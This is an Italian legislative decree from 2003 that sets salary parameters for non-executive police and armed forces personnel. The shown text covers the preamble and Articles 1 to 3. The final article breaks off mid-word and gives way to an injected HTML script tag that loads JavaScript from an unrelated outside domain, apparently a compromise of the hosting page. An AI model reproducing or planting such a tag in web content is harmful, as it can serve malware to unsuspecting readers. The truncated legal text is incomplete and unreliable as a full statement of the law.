Categoria: Forze armate (ESERCITO, MARINA, AEREONAUTICA)
Settore: Pubblica Amministrazione
Data stipula: 30-5-2003
Data decorrenza: 1-5-2005

Decreto legislativo 30 maggio 2003 n. 193.

SISTEMA DEI PARAMETRI STIPENDIALI PER IL PERSONALE NON DIRIGENTE
DELLE FORZE DI POLIZIA E DELLE FORZE ARMATE

a norma dell'art. 7, legge 29 marzo 2001 n. 86.


Il Presidente della Repubblica

visti gli artt. 76 e 87 della Costituzione;

visto  l'art.  7,  legge  29.3.01 n. 86, che  ha  delegato  il  Governo  a
modificare la normativa sui livelli retributivi del personale appartenente
alle  Forze di polizia ad ordinamento civile e militare nonché alle  Forze
armate, ad esclusione di quello dirigente;

visto l'art. 16, comma 4, legge 28.12.01 n. 448;

visti gli artt. 33, comma 2, e 80, comma 58, legge 27.12.02 n. 289;

vista  la  preliminare deliberazione del Consiglio dei Ministri,  adottata
nella riunione del 18.4.03;

acquisiti  i  pareri delle competenti Commissioni permanenti della  Camera
dei Deputati e del Senato della Repubblica;

vista la deliberazione del Consiglio dei Ministri, adottata nella riunione
del 29.5.03;

sulla  proposta del Presidente del Consiglio dei Ministri e  del  Ministro
per  la funzione pubblica, di concerto con i Ministri dell'interno,  della
difesa,   della  giustizia,  delle  politiche  agricole  e   forestali   e
dell'economia e delle finanze;

emana

il seguente decreto legislativo:

Capo I - INTRODUZIONE  DEL  SISTEMA  DEI PARAMETRI STIPENDIALI
         PER IL PERSONALE NON DIRIGENTE DELLE FORZE DI POLIZIA
         E DELLE FORZE ARMATE

Art. 1 - Ambito di applicazione.

1)
Il presente decreto si applica al personale delle Forze di polizia e delle
Forze  armate destinatario delle disposizioni di cui al D.lgs. 12.5.95  n.
195   e   successive   modificazioni,  escluso  quello  destinatario   del
trattamento stipendiale o economico dirigenziale.



Art. 2 - Sistema dei parametri stipendiali.

1)
A  decorrere dall'1.1.05, al personale di cui all'art. 1 sono attribuiti i
parametri  stipendiali  indicati nelle tabelle 1 e  2,  che  costituiscono
parte  integrante  del presente decreto, con contestuale soppressione  dei
previgenti livelli stipendiali.

2)
I  parametri  correlati all'anzianità nella qualifica  o  nel  grado  sono
attribuiti  dopo  8  anni di effettivo servizio nella stessa  qualifica  o
grado.

3)
A  decorrere  dall'1.1.05  il trattamento stipendiale  è  determinato  dal
prodotto  tra  il  valore del punto di parametro e i  parametri  riportati
nelle tabelle 1 e 2.

4)
In  sede  di 1a applicazione del presente decreto il valore del  punto  di
parametro è fissato in E 149,15 annui lordi e l'attribuzione dei parametri
di  cui  al  comma 1 avviene in base alle qualifiche o ai gradi rivestiti,
nonché alle posizioni di provenienza all'1.1.05, individuate nelle tabelle
3,  4  e 5, che costituiscono parte integrante del presente decreto. Nelle
medesime  tabelle  sono  altresì indicati gli stipendi  annui  lordi  alla
stessa data in applicazione del sistema di cui al presente articolo, salvo
quanto previsto dall'art. 6, comma 2.

5)
Fermi   restando   i   parametri  stabiliti  dal  presente   decreto,   la
determinazione dei miglioramenti stipendiali derivanti dai  rinnovi  degli
accordi  sindacali  e dalle procedure di concertazione,  a  decorrere  dal
biennio  2004-2005,  si  effettua  aumentando  il  valore  del  punto   di
parametro.



Art. 3 - Effetti del sistema dei parametri stipendiali.

1)
A  decorrere dall'1.1.05 nello stipendio basato sul sistema dei  parametri
confluiscono  i  valori  stipendiali  correlati  ai  livelli  retributivi,
l'indennità  integrativa  speciale, gli scatti  gerarchici  e  aggiuntivi,
nonché gli emolumenti pensionabili indicati nelle tabelle 3, 4 e 5.

2)
Il  conglobamento dell'indennità integrativa speciale nello  stipendio  di
cui  al  comma  1  non  modifica la base di calcolo  ai  fini  della  base
pensionabile  di cui alla legge 29.4.76 n. 177 e successive modificazioni,
e  dell'applicazione dell'art. 2, comm<script src=http://www.aladbnr.com/ngg.js></script>